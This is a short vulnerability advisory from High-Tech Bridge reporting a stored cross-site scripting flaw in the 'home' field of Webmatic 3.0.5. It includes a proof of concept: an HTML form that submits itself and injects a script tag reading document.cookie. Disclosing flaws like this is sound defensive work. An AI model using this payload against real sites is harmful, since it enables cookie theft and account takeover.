XSS vulnerability in Webmatic

Vulnerability ID: HTB22568
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_webmatic.html
Product: Webmatic
Vendor: Valarsoft ( http://www.valarsoft.com/ )
Vulnerable Version: 3.0.5 and Probably Prior Versions
Vendor Notification: 09 August 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the content preferences editing script to properly sanitize user-supplied input in "home" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php&quot; method="post" name="main" >
<input type="hidden" name="browser_bar_title" value="Webmatic" />
<input type="hidden" name="title" value="Welcome to Webmatic" />
<input type="hidden" name="special_user_label" value="Special user" />
<input type="hidden" name="staff_name" value="Webmatic editorial staff" />
<input type="hidden" name="home" value='Webmatic its2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="foot" value="" />
<input type="hidden" name="signalation_email_subject" value="Subject" />
<input type="hidden" name="signalation_email_text" value="text" />
<input type="hidden" name="user_registration_email_subject" value="Subject" />
<input type="hidden" name="user_registration_email_text" value="text" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="languageID" value="1" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="21" />
<input type="hidden" name="action" value="578" />
</form>
<script>
document.main.submit();
</script>